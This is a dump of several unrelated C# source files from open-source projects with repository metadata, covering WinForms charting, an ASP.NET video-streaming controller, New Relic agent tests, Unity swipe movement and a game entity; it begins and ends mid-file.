"]"].Points.Count < points - 1) while (chart1.Series["GL[" + statsList[i / 4].name + "]"].Points.Count != points - 1) chart1.Series["GL[" + statsList[i / 4].name + "]"].Points.AddXY(chart1.Series["GL[" + statsList[i / 4].name + "]"].Points.Count, 0); if (chart1.Series["MN[" + statsList[i / 4].name + "]"].Points.Count < points - 1) while (chart1.Series["MN[" + statsList[i / 4].name + "]"].Points.Count != points - 1) chart1.Series["MN[" + statsList[i / 4].name + "]"].Points.AddXY(chart1.Series["MN[" + statsList[i / 4].name + "]"].Points.Count, 0); if (chart1.Series["MX[" + statsList[i / 4].name + "]"].Points.Count < points - 1) while (chart1.Series["MX[" + statsList[i / 4].name + "]"].Points.Count != points - 1) chart1.Series["MX[" + statsList[i / 4].name + "]"].Points.AddXY(chart1.Series["MX[" + statsList[i / 4].name + "]"].Points.Count, 0); chart1.Series["AV[" + statsList[i / 4].name + "]"].Points.AddXY(points, statsList[i / 4].averagems); chart1.Series["GL[" + statsList[i / 4].name + "]"].Points.AddXY(points,statsList[i / 4].goal); chart1.Series["MN[" + statsList[i / 4].name + "]"].Points.AddXY(points, statsList[i / 4].min); chart1.Series["MX[" + statsList[i / 4].name + "]"].Points.AddXY(points, statsList[i / 4].max); if (chart1.ChartAreas[0].AxisX.Maximum >= 100) chart1.ChartAreas[0].AxisX.ScaleView.Scroll(chart1.ChartAreas[0].AxisX.Maximum); Classes.Helper.SetChartTransparency( chart1, "GL[" + statsList[i / 4].name + "]",2); Classes.Helper.SetChartTransparency(chart1, "MX[" + statsList[i / 4].name + "]",2); Classes.Helper.SetChartTransparency(chart1, "MN[" + statsList[i / 4].name + "]",2); } chart1.ChartAreas["ChartArea1"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; } } private void Main_Shown(object sender, EventArgs e) { (new GUI.ConnectionsManager()).ShowDialog(); } private void settingsToolStripMenuItem_Click(object sender, EventArgs e) { (new GUI.Settings()).ShowDialog(); } private void clearAllToolStripMenuItem_Click(object sender, EventArgs e) { Classes.Helper.chartReset(chart1,5); Classes.Helper.chartReset(chart2,5); Classes.Helper.chartReset(chart3,5); } private void exportToolStripMenuItem_Click(object sender, EventArgs e) { SaveFileDialog saveFileDialog1 = new SaveFileDialog(); saveFileDialog1.Filter = "Orchestration Results|*.orc.zst"; saveFileDialog1.Title = "Save Orchestration Results to"; saveFileDialog1.ShowDialog(); if (saveFileDialog1.FileName != "") { System.IO.FileStream fs = (System.IO.FileStream)saveFileDialog1.OpenFile(); fs.Close(); } } private void flowLayoutPanel1_ControlAdded(object sender, ControlEventArgs e) { flowLayoutPanel1.HorizontalScroll.Visible = false; } private void flowLayoutPanel1_Paint_1(object sender, PaintEventArgs e) { flowLayoutPanel1.HorizontalScroll.Visible = false; } private void flowLayoutPanel1_ControlRemoved(object sender, ControlEventArgs e) { flowLayoutPanel1.HorizontalScroll.Visible = false; if (flowLayoutPanel1.VerticalScroll.Visible == false) if (splitContainer3.SplitterDistance != splitContainer3.Width - 287) splitContainer3.SplitterDistance = splitContainer3.Width - 287; } private void flowLayoutPanel1_SizeChanged(object sender, EventArgs e) { if (flowLayoutPanel1.VerticalScroll.Visible == true) if (splitContainer3.SplitterDistance != splitContainer3.Width - 303) splitContainer3.SplitterDistance = splitContainer3.Width - 303; } private void flowLayoutPanel2_SizeChanged(object sender, EventArgs e) { if (flowLayoutPanel2.VerticalScroll.Visible == true) if (splitContainer3.SplitterDistance != splitContainer3.Width - 303) splitContainer3.SplitterDistance = splitContainer3.Width - 303; } private void flowLayoutPanel2_ControlRemoved(object sender, ControlEventArgs e) { flowLayoutPanel2.HorizontalScroll.Visible = false; if (flowLayoutPanel2.VerticalScroll.Visible == false) if (splitContainer3.SplitterDistance != splitContainer3.Width - 287) splitContainer3.SplitterDistance = splitContainer3.Width - 287; } private void videoProcessingPrewittToolStripMenuItem_Click(object sender, EventArgs e) { registeredApplications.Add(new UserControl1("Video Processing", "video_processing", 700, 400, 100, 0)); flowLayoutPanel1.Controls.Clear(); foreach (UserControl1 a in registeredApplications) flowLayoutPanel1.Controls.Add(a); } private void numbersAdditionToolStripMenuItem_Click(object sender, EventArgs e) { registeredApplications.Add(new UserControl1("Numbers Addition", "numAdd" + (new Random()).Next(100, 999).ToString(), 700, 400, 1000, 0)); flowLayoutPanel1.Controls.Clear(); foreach (UserControl1 a in registeredApplications) flowLayoutPanel1.Controls.Add(a); } private void matrixMultiplicationToolStripMenuItem_Click(object sender, EventArgs e) { registeredApplications.Add(new UserControl1("Matrix Multiplication", "appMM", 900, 700, 1300, 0)); flowLayoutPanel1.Controls.Clear(); foreach (UserControl1 a in registeredApplications) flowLayoutPanel1.Controls.Add(a); } private void aboutOrchestrationStudioToolStripMenuItem_Click(object sender, EventArgs e) { (new GUI.About()).ShowDialog(); } private void connectionsToolStripMenuItem_Click(object sender, EventArgs e) { (new GUI.ConnectionsManager()).ShowDialog(); } private void button3_Click_2(object sender, EventArgs e) { label1.Text = label2.Text; panel1.Visible = label2.Text == "Overall Statistics" ? true : false; panel2.Visible = label2.Text == "Overall Statistics" ? false : true; label2.Text = label2.Text == "Overall Statistics" ? "Applications Pool" : "Overall Statistics"; } private void button9_Click(object sender, EventArgs e) { selectedView1 = 1; UpdateSelectedView1(); } private void button12_Click(object sender, EventArgs e) { selectedView2 = 1; UpdateSelectedView2(); } private void button2_Click(object sender, EventArgs e) { selectedView = 0; UpdateSelectedView(); } private void button4_Click(object sender, EventArgs e) { selectedView = 1; UpdateSelectedView(); } private void button5_Click(object sender, EventArgs e) { selectedView = 2; UpdateSelectedView(); } private void button6_Click(object sender, EventArgs e) { selectedView = 3; UpdateSelectedView(); } private void button7_Click(object sender, EventArgs e) { selectedView = 4; UpdateSelectedView(); } private void button8_Click(object sender, EventArgs e) { selectedView1 = 0; UpdateSelectedView1(); } private void button10_Click(object sender, EventArgs e) { label10.Text = "Kalman Filtered Processors Usage"; panel11.Show(); panel10.Hide(); panel12.Hide(); } private void button11_Click(object sender, EventArgs e) { label10.Text = "Average(RT/KF) Processors Usage"; panel11.Hide(); panel10.Hide(); panel12.Show(); } private void button14_Click(object sender, EventArgs e) { label10.Text = "Real-Time Raw Processors Usage"; panel10.Show(); panel11.Hide(); panel12.Hide(); } private void button13_Click(object sender, EventArgs e) { selectedView2 = 0; UpdateSelectedView2(); } private void workloadMakerToolStripMenuItem_Click(object sender, EventArgs e) { registeredApplications.Add(new UserControl1("Workload Maker", "load", 0, 0, 0, 0)); flowLayoutPanel1.Controls.Clear(); foreach (UserControl1 a in registeredApplications) flowLayoutPanel1.Controls.Add(a); } private void imageProcessingSobelToolStripMenuItem_Click(object sender, EventArgs e) { registeredApplications.Add(new UserControl1("Image Processing Sobel", "appMM", 900, 700, 1300, 0)); flowLayoutPanel1.Controls.Clear(); foreach (UserControl1 a in registeredApplications) flowLayoutPanel1.Controls.Add(a); } } }
54.427261
188
0.541322
[ "MIT" ]
devcoons/orchestration-studio
Source Code/Applications/Orchestration Studio/GUI/Main.cs
41,530
C#
using Lesson.Domain.VideoContent; using Lesson.Domain.VideoContent.Dto; using System; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Linq; using System.Net; using System.Net.Http; using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; using System.Web; using System.Web.Mvc; namespace Lesson.Web.Controllers { public class VideoContentController : Controller { private readonly IVideoContentApplicationService _videoContentApplicationService; public VideoContentController(IVideoContentApplicationService videoContentApplicationService) { _videoContentApplicationService = videoContentApplicationService; } // GET: VideoContent public async Task<ActionResult> Index() { var videoContents = await _videoContentApplicationService.GetListAsync(); return View(videoContents); } public async Task<ActionResult> CreateVideoContent() { return View("CreateVideoContent", new CreateVideoContentInput()); } public async Task<JsonResult> InsertVideoContentAsync(CreateVideoContentInput input) { input.Content = Convert.FromBase64String(input.FileBase64); await _videoContentApplicationService.CreateAsync(input); return Json(new { success = true }); } public async Task<ActionResult> GetVideoContentAsync(int id) { var videoContent = await _videoContentApplicationService.GetAsync(new GetVideoContentInput { Id = id }); var memoryStream = new MemoryStream(videoContent.Content); return new RangeFileContentResult(videoContent.Content, "video/mp4", "a.mp4", DateTime.Now); } public async Task<ActionResult> WatchContent(GetVideoContentInput input) { var videoContent = await _videoContentApplicationService.GetAsync(input); return View("WatchContent",videoContent); } public abstract class RangeFileResult : ActionResult { #region Fields private static char[] _commaSplitArray = new char[] { ',' }; private static char[] _dashSplitArray = new char[] { '-' }; private static string[] _httpDateFormats = new string[] { "r", "dddd, dd-MMM-yy HH':'mm':'ss 'GMT'", "ddd MMM d HH':'mm':'ss yyyy" }; #endregion #region Properties /// <summary> /// Gets the content type to use for the response. /// </summary> public string ContentType { get; private set; } /// <summary> /// Gets the file name to use for the response. /// </summary> public string FileName { get; private set; } /// <summary> /// Gets the file modification date to use for the response. /// </summary> public DateTime FileModificationDate { get; private set; } private DateTime HttpModificationDate { get; set; } /// <summary> /// Gets the file length to use for the response. /// </summary> public long FileLength { get; private set; } private string EntityTag { get; set; } private long[] RangesStartIndexes { get; set; } private long[] RangesEndIndexes { get; set; } private bool RangeRequest { get; set; } private bool MultipartRequest { get; set; } #endregion #region Constructor /// <summary> /// Initializes a new instance of the RangeFileResult class. /// </summary> /// <param name="contentType">The content type to use for the response.</param> /// <param name="fileName">The file name to use for the response.</param> /// <param name="modificationDate">The file modification date to use for the response.</param> /// <param name="fileLength">The file length to use for the response.</param> protected RangeFileResult(string contentType, string fileName, DateTime modificationDate, long fileLength) { if (String.IsNullOrEmpty(contentType)) throw new ArgumentNullException("contentType"); ContentType = contentType; FileName = fileName; FileModificationDate = modificationDate; HttpModificationDate = modificationDate.ToUniversalTime(); HttpModificationDate = new DateTime(HttpModificationDate.Year, HttpModificationDate.Month, HttpModificationDate.Day, HttpModificationDate.Hour, HttpModificationDate.Minute, HttpModificationDate.Second, DateTimeKind.Utc); FileLength = fileLength; } #endregion #region Methods /// <summary> /// Generates the entity tag for file /// </summary> /// <param name="context">The context within which the result is executed.</param> /// <returns></returns> protected virtual string GenerateEntityTag(ControllerContext context) { byte[] entityTagBytes = Encoding.ASCII.GetBytes(String.Format("{0}|{1}", FileName, FileModificationDate)); return Convert.ToBase64String(new MD5CryptoServiceProvider().ComputeHash(entityTagBytes)); } /// <summary> /// Writes the entire file to the response. /// </summary> /// <param name="response">The response from context within which the result is executed.</param> protected abstract void WriteEntireEntity(HttpResponseBase response); /// <summary> /// Writes the file range to the response. /// </summary> /// <param name="response">The response from context within which the result is executed.</param> /// <param name="rangeStartIndex">Range start index</param> /// <param name="rangeEndIndex">Range end index</param> protected abstract void WriteEntityRange(HttpResponseBase response, long rangeStartIndex, long rangeEndIndex); /// <summary> /// Enables processing of the result of an action method by a custom type that inherits from the ActionResult class. (Overrides ActionResult.ExecuteResult(ControllerContext).) /// </summary> /// <param name="context">The context within which the result is executed.</param> public override void ExecuteResult(ControllerContext context) { EntityTag = GenerateEntityTag(context); GetRanges(context.HttpContext.Request); if (ValidateRanges(context.HttpContext.Response) && ValidateModificationDate(context.HttpContext.Request, context.HttpContext.Response) && ValidateEntityTag(context.HttpContext.Request, context.HttpContext.Response)) { context.HttpContext.Response.AddHeader("Last-Modified", FileModificationDate.ToString("r")); context.HttpContext.Response.AddHeader("ETag", String.Format("\"{0}\"", EntityTag)); context.HttpContext.Response.AddHeader("Accept-Ranges", "bytes"); if (!RangeRequest) { context.HttpContext.Response.AddHeader("Content-Length", FileLength.ToString()); context.HttpContext.Response.ContentType = ContentType; context.HttpContext.Response.StatusCode = 200; if (!context.HttpContext.Request.HttpMethod.Equals("HEAD")) WriteEntireEntity(context.HttpContext.Response); } else { string boundary = "---------------------------" + DateTime.Now.Ticks.ToString("x"); context.HttpContext.Response.AddHeader("Content-Length", GetContentLength(boundary).ToString()); if (!MultipartRequest) { context.HttpContext.Response.AddHeader("Content-Range", String.Format("bytes {0}-{1}/{2}", RangesStartIndexes[0], RangesEndIndexes[0], FileLength)); context.HttpContext.Response.ContentType = ContentType; } else context.HttpContext.Response.ContentType = String.Format("multipart/byteranges; boundary={0}", boundary); context.HttpContext.Response.StatusCode = 206; if (!context.HttpContext.Request.HttpMethod.Equals("HEAD")) { for (int i = 0; i < RangesStartIndexes.Length; i++) { if (MultipartRequest) { context.HttpContext.Response.Write(String.Format("--{0}\r\n", boundary)); context.HttpContext.Response.Write(String.Format("Content-Type: {0}\r\n", ContentType)); context.HttpContext.Response.Write(String.Format("Content-Range: bytes {0}-{1}/{2}\r\n\r\n", RangesStartIndexes[i], RangesEndIndexes[i], FileLength)); } if (context.HttpContext.Response.IsClientConnected) { WriteEntityRange(context.HttpContext.Response, RangesStartIndexes[i], RangesEndIndexes[i]); if (MultipartRequest) context.HttpContext.Response.Write("\r\n"); context.HttpContext.Response.Flush(); } else return; } if (MultipartRequest) context.HttpContext.Response.Write(String.Format("--{0}--", boundary)); } } } } private string GetHeader(HttpRequestBase request, string header, string defaultValue = "") { return String.IsNullOrEmpty(request.Headers[header]) ? defaultValue : request.Headers[header].Replace("\"", String.Empty); } private void GetRanges(HttpRequestBase request) { string rangesHeader = GetHeader(request, "Range"); string ifRangeHeader = GetHeader(request, "If-Range", EntityTag); DateTime ifRangeHeaderDate; bool isIfRangeHeaderDate = DateTime.TryParseExact(ifRangeHeader, _httpDateFormats, null, DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal, out ifRangeHeaderDate); if (String.IsNullOrEmpty(rangesHeader) || (!isIfRangeHeaderDate && ifRangeHeader != EntityTag) || (isIfRangeHeaderDate && HttpModificationDate > ifRangeHeaderDate)) { RangesStartIndexes = new long[] { 0 }; RangesEndIndexes = new long[] { FileLength - 1 }; RangeRequest = false; MultipartRequest = false; } else { string[] ranges = rangesHeader.Replace("bytes=", String.Empty).Split(_commaSplitArray); RangesStartIndexes = new long[ranges.Length]; RangesEndIndexes = new long[ranges.Length]; RangeRequest = true; MultipartRequest = (ranges.Length > 1); for (int i = 0; i < ranges.Length; i++) { string[] currentRange = ranges[i].Split(_dashSplitArray); if (String.IsNullOrEmpty(currentRange[1])) RangesEndIndexes[i] = FileLength - 1; else RangesEndIndexes[i] = Int64.Parse(currentRange[1]); if (String.IsNullOrEmpty(currentRange[0])) { RangesStartIndexes[i] = FileLength - 1 - RangesEndIndexes[i]; RangesEndIndexes[i] = FileLength - 1; } else RangesStartIndexes[i] = Int64.Parse(currentRange[0]); } } } private int GetContentLength(string boundary) { int contentLength = 0; for (int i = 0; i < RangesStartIndexes.Length; i++) { contentLength += Convert.ToInt32(RangesEndIndexes[i] - RangesStartIndexes[i]) + 1; if (MultipartRequest) contentLength += boundary.Length + ContentType.Length + RangesStartIndexes[i].ToString().Length + RangesEndIndexes[i].ToString().Length + FileLength.ToString().Length + 49; } if (MultipartRequest) contentLength += boundary.Length + 4; return contentLength; } private bool ValidateRanges(HttpResponseBase response) { if (FileLength > Int32.MaxValue) { response.StatusCode = 413; return false; } for (int i = 0; i < RangesStartIndexes.Length; i++) { if (RangesStartIndexes[i] > FileLength - 1 || RangesEndIndexes[i] > FileLength - 1 || RangesStartIndexes[i] < 0 || RangesEndIndexes[i] < 0 || RangesEndIndexes[i] < RangesStartIndexes[i]) { response.StatusCode = 400; return false; } } return true; } private bool ValidateModificationDate(HttpRequestBase request, HttpResponseBase response) { string modifiedSinceHeader = GetHeader(request, "If-Modified-Since"); if (!String.IsNullOrEmpty(modifiedSinceHeader)) { DateTime modifiedSinceDate; DateTime.TryParseExact(modifiedSinceHeader, _httpDateFormats, null, DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal, out modifiedSinceDate); if (HttpModificationDate <= modifiedSinceDate) { response.StatusCode = 304; return false; } } string unmodifiedSinceHeader = GetHeader(request, "If-Unmodified-Since", GetHeader(request, "Unless-Modified-Since")); if (!String.IsNullOrEmpty(unmodifiedSinceHeader)) { DateTime unmodifiedSinceDate; bool unmodifiedSinceDateParsed = DateTime.TryParseExact(unmodifiedSinceHeader, _httpDateFormats, null, DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal, out unmodifiedSinceDate); if (HttpModificationDate > unmodifiedSinceDate) { response.StatusCode = 412; return false; } } return true; } private bool ValidateEntityTag(HttpRequestBase request, HttpResponseBase response) { string matchHeader = GetHeader(request, "If-Match"); if (!String.IsNullOrEmpty(matchHeader) && matchHeader != "*") { string[] entitiesTags = matchHeader.Split(_commaSplitArray); int entitieTagIndex; for (entitieTagIndex = 0; entitieTagIndex < entitiesTags.Length; entitieTagIndex++) { if (EntityTag == entitiesTags[entitieTagIndex]) break; } if (entitieTagIndex >= entitiesTags.Length) { response.StatusCode = 412; return false; } } string noneMatchHeader = GetHeader(request, "If-None-Match"); if (!String.IsNullOrEmpty(noneMatchHeader)) { if (noneMatchHeader == "*") { response.StatusCode = 412; return false; } string[] entitiesTags = noneMatchHeader.Split(_commaSplitArray); foreach (string entityTag in entitiesTags) { if (EntityTag == entityTag) { response.AddHeader("ETag", String.Format("\"{0}\"", entityTag)); response.StatusCode = 304; return false; } } } return true; } #endregion } public class RangeFileContentResult : RangeFileResult { #region Properties /// <summary> /// Gets the binary content to send to the response. /// </summary> public byte[] FileContents { get; private set; } #endregion #region Constructor /// <summary> /// Initializes a new instance of the RangeFileContentResult class. /// </summary> /// <param name="fileContents">The byte array to send to the response.</param> /// <param name="contentType">The content type to use for the response.</param> /// <param name="fileName">The file name to use for the response.</param> /// <param name="modificationDate">The file modification date to use for the response.</param> public RangeFileContentResult(byte[] fileContents, string contentType, string fileName, DateTime modificationDate) : base(contentType, fileName, modificationDate, fileContents.Length) { if (fileContents == null) throw new ArgumentNullException("fileContents"); FileContents = fileContents; } #endregion #region Methods /// <summary> /// Writes the entire file to the response. /// </summary> /// <param name="response">The response from context within which the result is executed.</param> protected override void WriteEntireEntity(HttpResponseBase response) { response.OutputStream.Write(FileContents, 0, FileContents.Length); } /// <summary> /// Writes the file range to the response. /// </summary> /// <param name="response">The response from context within which the result is executed.</param> /// <param name="rangeStartIndex">Range start index</param> /// <param name="rangeEndIndex">Range end index</param> protected override void WriteEntityRange(HttpResponseBase response, long rangeStartIndex, long rangeEndIndex) { response.OutputStream.Write(FileContents, Convert.ToInt32(rangeStartIndex), Convert.ToInt32(rangeEndIndex - rangeStartIndex) + 1); } #endregion } public async Task<JsonResult> InsertLogAsync(GetVideoContentInput input) { var videoContent = await _videoContentApplicationService.GetAsync(input); return Json(""); } } }
46.445727
236
0.545373
[ "MIT" ]
bsogulcan/Lesson
src/Lesson.Web/Controllers/VideoContentController.cs
20,113
C#
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.RazorPages; namespace WebClientApp.Pages.Account { public class LoginModel : PageModel { [BindProperty] public string Username { get; set; } [BindProperty, DataType(DataType.Password)] public string Password { get; set; } public void OnGet() { } public IActionResult OnPost() { if (!ModelState.IsValid) return Page(); Global.Username = Username; Global.Authenticated = true; return RedirectToPage("/Launchpad/Index"); } } }
22.628571
54
0.625
[ "MIT" ]
alirasouli1386/iTelescope-prototype
WebClientApp/Pages/Account/Login.cshtml.cs
794
C#
/* * Copyright 2020 New Relic Corporation. All rights reserved. * SPDX-License-Identifier: Apache-2.0 */ using NewRelic.Core; using Newtonsoft.Json; using NUnit.Framework; using System; using System.Collections.Generic; using NewRelic.Agent.TestUtilities; using Telerik.JustMock; using NewRelic.Agent.Configuration; using NewRelic.Agent.Core.Attributes; using NewRelic.Agent.Core.Configuration.UnitTest; namespace NewRelic.Agent.Core.WireModels { [TestFixture, Category("ErrorEvents"), TestOf(typeof(ErrorEventWireModel))] public class ErrorEventWireModelTests { private const string TimeStampKey = "timestamp"; private static IConfiguration CreateMockConfiguration() { var configuration = Mock.Create<IConfiguration>(); Mock.Arrange(() => configuration.CaptureCustomParameters).Returns(true); Mock.Arrange(() => configuration.CaptureAttributes).Returns(true); Mock.Arrange(() => configuration.CaptureAttributesExcludes) .Returns(new List<string>() { "identity.*", "request.headers.*", "response.headers.*" }); Mock.Arrange(() => configuration.CaptureRequestParameters).Returns(true); return configuration; } private IAttributeDefinitionService _attribDefSvc; private IAttributeDefinitions _attribDefs => _attribDefSvc?.AttributeDefs; [SetUp] public void Setup() { var config = CreateMockConfiguration(); _attribDefSvc = new AttributeDefinitionService((f) => new AttributeDefinitions(f)); } [Test] public void All_attribute_value_types_in_an_event_do_serialize_correctly() { var attribValues = new AttributeValueCollection(AttributeDestinations.ErrorEvent); // ARRANGE var userAttributes = new ReadOnlyDictionary<string, object>(new Dictionary<string, object> { {"identity.user", "samw"}, {"identity.product", "product"} }); _attribDefs.GetCustomAttributeForError("identity.user").TrySetValue(attribValues, "samw"); _attribDefs.GetCustomAttributeForError("identity.product").TrySetValue(attribValues, "product"); var agentAttributes = new ReadOnlyDictionary<string, object>(new Dictionary<string, object> { {"queue_wait_time_ms", "2000"}, {"original_url", "www.test.com"}, }); _attribDefs.QueueWaitTime.TrySetValue(attribValues, TimeSpan.FromSeconds(2)); _attribDefs.OriginalUrl.TrySetValue(attribValues, "www.test.com"); var intrinsicAttributes = new ReadOnlyDictionary<string, object>(new Dictionary<string, object> { {"databaseCallCount", 10d }, {"error.message", "This is the error message"}, {"nr.referringTransactionGuid", "DCBA43211234ABCD"}, }); _attribDefs.DatabaseCallCount.TrySetValue(attribValues, 10); _attribDefs.ErrorDotMessage.TrySetValue(attribValues, "This is the error message"); _attribDefs.CatNrPathHash.TrySetValue(attribValues, "DCBA4321"); _attribDefs.CatReferringPathHash.TrySetValue(attribValues, "1234ABCD"); _attribDefs.CatReferringTransactionGuidForEvents.TrySetValue(attribValues, "DCBA43211234ABCD"); _attribDefs.CatAlternativePathHashes.TrySetValue(attribValues, new[] { "55f97a7f", "6fc8d18f", "72827114", "9a3ed934", "a1744603", "a7d2798f", "be1039f5", "ccadfd2c", "da7edf2e", "eaca716b" }); var isSyntheticsEvent = false; // ACT float priority = 0.5f; var errorEventWireModel = new ErrorEventWireModel(attribValues, isSyntheticsEvent, priority); var serialized = JsonConvert.SerializeObject(errorEventWireModel); var deserialized = JsonConvert.DeserializeObject<IDictionary<string, object>[]>(serialized); // ASSERT var expected = new IDictionary<string, object>[3]{ intrinsicAttributes, userAttributes, agentAttributes }; AttributeComparer.CompareDictionaries(expected, deserialized); } [Test] public void Is_synthetics_set_correctly() { // Arrange var attribValues = new AttributeValueCollection(AttributeDestinations.ErrorEvent); var isSyntheticsEvent = true; // Act float priority = 0.5f; var errorEventWireModel = new ErrorEventWireModel(attribValues, isSyntheticsEvent, priority); // Assert Assert.IsTrue(errorEventWireModel.IsSynthetics); } [Test] public void Verify_setting_priority() { var priority = 0.5f; var attribValues = new AttributeValueCollection(AttributeDestinations.ErrorEvent); _attribDefs.TimestampForError.TrySetValue(attribValues, DateTime.UtcNow); var wireModel = new ErrorEventWireModel(attribValues, false, priority); Assert.That(priority == wireModel.Priority); priority = 0.0f; wireModel.Priority = priority; Assert.That(priority == wireModel.Priority); priority = 1.0f; wireModel.Priority = priority; Assert.That(priority == wireModel.Priority); priority = 1.1f; wireModel.Priority = priority; Assert.That(priority == wireModel.Priority); priority = -0.00001f; Assert.Throws<ArgumentException>(() => wireModel.Priority = priority); priority = float.NaN; Assert.Throws<ArgumentException>(() => wireModel.Priority = priority); priority = float.NegativeInfinity; Assert.Throws<ArgumentException>(() => wireModel.Priority = priority); priority = float.PositiveInfinity; Assert.Throws<ArgumentException>(() => wireModel.Priority = priority); priority = float.MinValue; Assert.Throws<ArgumentException>(() => wireModel.Priority = priority); } } }
40.948052
205
0.634634
[ "Apache-2.0" ]
Faithlife/newrelic-dotnet-agent
tests/Agent/UnitTests/Core.UnitTest/WireModels/ErrorEventWireModelTests.cs
6,306
C#
using System.Collections; using System.Collections.Generic; using UnityEngine; using GG.Infrastructure.Utils.Swipe; public class MoveOnSwipe_Hexagonal : MonoBehaviour { [Header("Available movements:")] [SerializeField] private bool _up = true; [SerializeField] private bool _down = true; [SerializeField] private bool _left = true; [SerializeField] private bool _right = true; [SerializeField] private bool _upLeft = true; [SerializeField] private bool _upRight = true; [SerializeField] private bool _downLeft = true; [SerializeField] private bool _downRight = true; public void OnSwipeHandler(string id) { switch(id) { case DirectionId.ID_UP: MoveUp(); break; case DirectionId.ID_DOWN: MoveDown(); break; case DirectionId.ID_LEFT: MoveLeft(); break; case DirectionId.ID_RIGHT: MoveRight(); break; case DirectionId.ID_UP_LEFT: MoveUpLeft(); break; case DirectionId.ID_UP_RIGHT: MoveUpRight(); break; case DirectionId.ID_DOWN_LEFT: MoveDownLeft(); break; case DirectionId.ID_DOWN_RIGHT: MoveDownRight(); break; } } private void MoveDownRight() { if (_downRight) { transform.position += Vector3.down + Vector3.right * 0.5f; } } private void MoveDownLeft() { if (_downLeft) { transform.position += Vector3.down + Vector3.left * 0.5f; } } private void MoveUpRight() { if (_upRight) { transform.position += Vector3.up + Vector3.right * 0.5f; } } private void MoveUpLeft() { if (_upLeft) { transform.position += Vector3.up + Vector3.left * 0.5f; } } private void MoveRight() { if (_right) { transform.position += Vector3.right; } } private void MoveLeft() { if (_left) { transform.position += Vector3.left; } } private void MoveDown() { if (_down) { transform.position += Vector3.down; } } private void MoveUp() { if (_up) { transform.position += Vector3.up; } } }
21.04065
70
0.507342
[ "MIT" ]
AwuChen/1am
1am_Unity/Assets/SwipeController/Scripts/Examples/MoveOnSwipe_Hexagonal.cs
2,590
C#
namespace FastFood.Models { using System.Collections.Generic; using System.ComponentModel.DataAnnotations; public class Position { [Key] public int Id { get; set; } [Required] [StringLength(30, MinimumLength = 3)] public string Name { get; set; } public ICollection<Employee> Employees { get; set; } } }
23
61
0.585678
[ "MIT" ]
stoyanov7/SoftwareUniversity
C#Development/Database/DatabasesAdvanced/Exams/FastFood/FastFood.Models/Position.cs
393
C#
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace DataLayerCore.Model { public partial class SETS_CATEGORY { public SETS_CATEGORY() { SETS = new HashSet<SETS>(); } public int Set_Category_Id { get; set; } [StringLength(250)] public string Set_Category_Name { get; set; } [InverseProperty("Set_Category_")] public virtual ICollection<SETS> SETS { get; set; } } }
25.363636
59
0.657706
[ "MIT" ]
Harshilpatel134/cisagovdocker
CSETWebApi/CSETWeb_Api/DataLayerCore/Model/SETS_CATEGORY.cs
560
C#
namespace CarPartsManager.Logic { using DAL; public interface IEntityService { CarPartsManagerEntities GetEntities(); } }
14.8
46
0.675676
[ "MIT" ]
andre197/CarPartsManager
CarPartsManager/CarPartsManager.Logic/IEntityService.cs
150
C#
using System; using System.Collections.Generic; using System.Data; using System.Data.Common; using System.Diagnostics.CodeAnalysis; using Microsoft.EntityFrameworkCore; using Microsoft.EntityFrameworkCore.Infrastructure; using Microsoft.EntityFrameworkCore.Migrations; using Microsoft.EntityFrameworkCore.Utilities; //TODO: Conisder removing these as we are not using them namespace CentridNet.EFCoreAutoMigrator.Utilities{ public static class MigrationExtensions{ public static DataTable ExecuteSqlRawWithoutModel(this DbContext dbContext, string query){ DataTable dataTable = new DataTable(); using (var command = dbContext.Database.GetDbConnection().CreateCommand()) { command.CommandText = query; command.CommandType = CommandType.Text; dbContext.Database.OpenConnection(); using (var result = command.ExecuteReader()) { dataTable.Load(result); } dbContext.Database.CloseConnection(); } return dataTable; } public static IList<T> ExecuteSqlRawWithoutModel<T>(this DbContext dbContext, string query, Func<DbDataReader, T> map){ using (var command = dbContext.Database.GetDbConnection().CreateCommand()) { command.CommandText = query; command.CommandType = CommandType.Text; dbContext.Database.OpenConnection(); using (var result = command.ExecuteReader()) { DataTable schemaTable = result.GetSchemaTable(); var entities = new List<T>(); while (result.Read()) { entities.Add(map(result)); } return entities; } } } } }
33.655172
127
0.585553
[ "MIT" ]
centridsol/EFCoreAutoMigrator
src/Utilities/Extension.cs
1,952
C#
using Sandbox; using System; using System.Collections.Generic; namespace Fortwars { public partial class RollReturnZone : ModelEntity { [Net] public Team Team { get; set; } [Net] public IList<FortwarsPlayer> RedPlayers { get; set; } [Net] public IList<FortwarsPlayer> BluePlayers { get; set; } public BogRoll AttachedRoll; public override void Spawn() { base.Spawn(); SetModel( "models/items/bogroll/roll_returnfield.vmdl" ); EnableShadowCasting = false; SetupPhysicsFromModel( PhysicsMotionType.Static ); CollisionGroup = CollisionGroup.Trigger; EnableSolidCollisions = false; EnableTouch = true; EnableDrawing = true; Transmit = TransmitType.Always; } public void AttachToRoll( BogRoll roll ) { Team = roll.Team; switch ( Team ) { case Team.Invalid: break; case Team.Red: RenderColor = Color.Red; break; case Team.Blue: RenderColor = Color.Blue; break; default: break; } RenderColor = RenderColor; AttachedRoll = roll; } [Event.Tick.Server] public void Tick() { if ( AttachedRoll != null ) { Position = Trace.Ray( AttachedRoll.Position, AttachedRoll.Position - Vector3.Up * 10f ).Ignore( AttachedRoll ).Run().EndPosition; if ( Team == Team.Red ) { if ( RedPlayers.Count > 0 && BluePlayers.Count == 0 ) { AttachedRoll.TimeSinceDropped += Time.Delta; // Return faster if team matches. } if ( BluePlayers.Count > 0 && RedPlayers.Count == 0 ) { AttachedRoll.TimeSinceDropped -= Time.Delta * 2f; // Timer goes back up to max if enemy team is in the return zone. AttachedRoll.TimeSinceDropped = Math.Clamp( AttachedRoll.TimeSinceDropped, 0f, 15f ); } } if ( Team == Team.Blue ) { if ( BluePlayers.Count > 0 && RedPlayers.Count == 0 ) { AttachedRoll.TimeSinceDropped += Time.Delta; } if ( RedPlayers.Count > 0 && BluePlayers.Count == 0 ) { AttachedRoll.TimeSinceDropped -= Time.Delta * 2f; 